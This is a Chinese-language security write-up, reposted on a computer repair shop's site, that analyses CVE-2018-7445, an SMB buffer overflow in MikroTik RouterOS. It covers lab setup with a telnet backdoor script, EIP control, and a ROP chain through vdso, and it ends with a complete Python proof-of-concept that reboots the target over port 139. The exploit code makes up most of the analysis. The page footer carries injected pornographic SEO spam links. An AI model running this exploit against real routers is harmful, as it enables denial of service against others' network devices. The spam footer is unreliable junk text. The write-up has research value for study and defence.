錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
CVE-2018-7445 MikroTik RouterOS SMB 緩沖區溢出

作者: 佚名  日期:2018-05-23 14:27:13   來源: 本站整理

一. 漏洞概述

CVE-2018-7445 MikroTik RouterOS SMB 緩沖區溢出

參考信息:https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow

漏洞固件版本:

mikrotik-6.40.6.iso   x86版本

下載地址:https://mikrotik.com/download

Mikrotik的漏洞最早進入視野(我的)是去年早些時候泄露的CIA武器庫。根據卡巴的信息,有APT組織對mikrotik的漏洞用的很多:

幾天前,卡巴斯基實驗室的安全專家宣布已經發現了一個新的復雜的 APT 組織,該組織從至少 2012 年起至少已經在雷達中運行。卡巴斯基跟蹤該組織,并確定了它使用的一系列惡意軟件,稱為 Slingshot,以妥協中東和非洲數十萬受害者的系統。

研究人員已經在肯尼亞,也門,阿富汗,利比亞,剛果,約旦,土耳其,伊拉克,蘇丹,索馬里和坦桑尼亞發現了約 100 名彈弓受害者并發現了其模塊。肯尼亞和也門迄今為止感染人數最多。大多數受害者是個人而非組織,政府組織數量有限。APT 組利用拉脫維亞網絡硬件提供商 Mikrotik 使用的路由器中的零日漏洞(CVE-2007-5633; CVE-2010-1592,CVE-2009-0824)將間諜軟件放入受害者的計算機中。

攻擊者首先破壞路由器,然后用文件系統中的惡意代碼替換它的一個 DLL,當用戶運行 Winbox Loader 軟件(Mikrotik 路由器管理套件)時,該庫將加載到目標計算機內存中。

該 DLL 文件在受害者的機器上運行,并連接到遠程服務器以下載最終有效負載,即卡巴斯基監控的攻擊中的 Slingshot 惡意軟件。目前還不清楚 Slingshot 團伙是否也利用 CVE-2018-7445 漏洞危害路由器。

二. 漏洞分析.

2.1 搭建router os分析環境

先安裝router os, 打開iso文件,刪除掉默認硬盤,增加一個IDE硬盤

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

開機

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

按a選擇全部,然后I安裝,一路y

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

安裝完成后重啟,admin和空密碼登然后setup命令設置ip

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

如果一切順利此時可以ssh連接到rooteros了

Rooteros不支持一些基本的linux命令,為了更方便的操作,需要將busybox和gdbserver 放進去.

將cd選擇為一個ubuntu的鏡像

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

選擇開機前進入bios設置啟動選項,

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

選擇先從cd啟動

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

再重啟虛擬機, 選擇 try ubuntu

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

進入系統后,將 /dev/sda2 mount到創建的臨時文件夾

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

把busybox和gdbserver 拷貝到bin目錄下

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

并創建如下路徑的腳本,當路由器系統啟動的時候會自動執行此腳本

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

PS:要修改這3個文件為可執行  

腳本內容:

#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash

再重啟路由器后,就可以通過telnet連接進去

telnet192.168.174.160 23000

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

telnet成功

Namp 掃一下,發現并沒有開139端口.

需要使用如下命令打開SMB服務.

Ip smb setenabled=yes

再用 ip smb print 查看

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Nmap確認一下

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

Gdbsever attach上去, gdbserver 192.168.174.153:1234 –attach $(pidof smb)

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

好的,IDA遠程調試, fire inthe hole

2.2 控制eip

棧溢出發生在下面函數, 其中a2為拷貝的源地址,a2第一個值被當做拷貝的長度,那么當a2第一位值大于a1的長度的時候,發生溢出

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要對服務器發送smb協議中的session信息才能進入到此函數處理中,需要如下的smb包

header =struct.pack(“!ccH”, NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(data))

先用pwntool 找下 eip的位置

 

x=cyclic(500

attack= header + x

 

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

cyclic_find(0x61617a61)=99

測試一下

buf = header + “\xff”*99+BBBB,此時crash在eip為42424242

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

2.3 rop鏈構造

Smb里面沒有dlsym,system等東西,只能看看so了,先看下加載了哪些so

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

# cat /proc/sys/kernel/randomize_va_space

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

看一下發現aslr開啟了,每次lib的地址都不 一樣。

Dep也開啟了

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

由于smb里面沒有引用system和dlysm函數,vdso里面有int80,那么考慮用int80來調用sys_reboot.

用gdb attach到調試程序targetremote 192.168.174.160:1234

Vdso的地址是固定的,Vdso dump下來

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

找到godget

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

sys_reboot對應系統調用編號為88

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

需要構造4個參數

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

那么構造出如下參數

 

ebx=0xfee1dead

ecx=672274793

edx=0x1234567

esi=0

 

搜索godget:

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

構造如下的rop鏈

 

payload=""

#準備edx ecx ebx esi參數

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

#準備eax ebx參數

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # ebp

#call int80

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload+= p32(0x0)  # ecx

 

執行后,

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

路由器重啟成功!

路由器第六彈 :CVE-2018-7445 MikroTik RouterOS Buffer Overflow

完整poc

 

#!/usr/bin/envpython

 

importsocket

 

importstruct

 

import sys

 

from pwnimport *

 

context(arch= 'i386', os = 'linux')

 

NETBIOS_SESSION_REQUEST= "\x81"

 

NETBIOS_SESSION_FLAGS= "\x00"

payload=""

payload +=p32(0x08054017)# : pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ;ret

payload +=p32(0x1234567) # edx

payload +=p32(672274793) # ecx 

payload +=p32(0xfee1dead)# ebx

payload +=p32(0x0)# esi

payload +=p32(0xaaaaaaaa)# edi

payload +=p32(0xaaaaaaaa)# ebp

payload +=p32(0x0804f7da)# : pop eax ; pop ebx ; pop ebp ; ret

payload +=p32(0x00000058) # eax = sys_reboot

payload +=p32(0xfee1dead) # ebx

payload +=p32(0xaaaaaaaa) # eb

payload +=p32(0xFFFFE422)# int 0x80; pop ebp; pop edx; pop ecx; ret

payload +=p32(0xaaaaaaaa) # ebp

payload +=p32(0x0) # edx

payload +=p32(0x0)  # ecx

header =struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS,len(payload)+99)

x="\xff"*99

 

attack =header + x+payload

 

if __name__== "__main__"

 

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect(("192.168.174.160",139))

 

    s.send(attack)

 

*本文作者:kczwa1,轉載請注明來自FreeBuf.COM



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 精品无码av一区二区三区| 超清无码无卡中文字幕| 亚洲人av高清无码| 特级无码毛片免费视频| 特级做A爰片毛片免费看无码| 精品无码一区二区三区爱欲| 亚洲精品无码av天堂| 亚洲熟妇无码爱v在线观看| 亚洲人成无码久久电影网站| 亚洲精品无码久久久久牙蜜区| 免费无码H肉动漫在线观看麻豆| 人妻在线无码一区二区三区| 无码人妻精品一区二区三区在线| 免费无码午夜福利片69| 在线观看无码不卡AV| 亚洲AV无码AV男人的天堂| 亚洲人成无码www久久久| 国产精品亚洲专区无码牛牛 | 亚洲国产精品无码久久久蜜芽 | 精品无码成人片一区二区| 日韩国产成人无码av毛片| 国内精品无码一区二区三区 | 亚洲AV无码一区二区三区牲色| 亚洲伊人成无码综合网| 久久水蜜桃亚洲AV无码精品| 亚洲国产成AV人天堂无码| 精品无码一区二区三区亚洲桃色| 国产成人无码区免费内射一片色欲| 无码精品人妻一区二区三区影院| 亚洲av无码专区在线观看亚| 中文字幕亚洲精品无码| 久久久久成人精品无码中文字幕 | 国产成人无码区免费网站| 日韩久久无码免费毛片软件| 久久AV无码精品人妻出轨| 蜜臀AV无码精品人妻色欲| 秋霞鲁丝片无码av| yy111111少妇无码影院| 国产精品无码无在线观看| 亚洲av无码乱码国产精品fc2| 久久无码无码久久综合综合|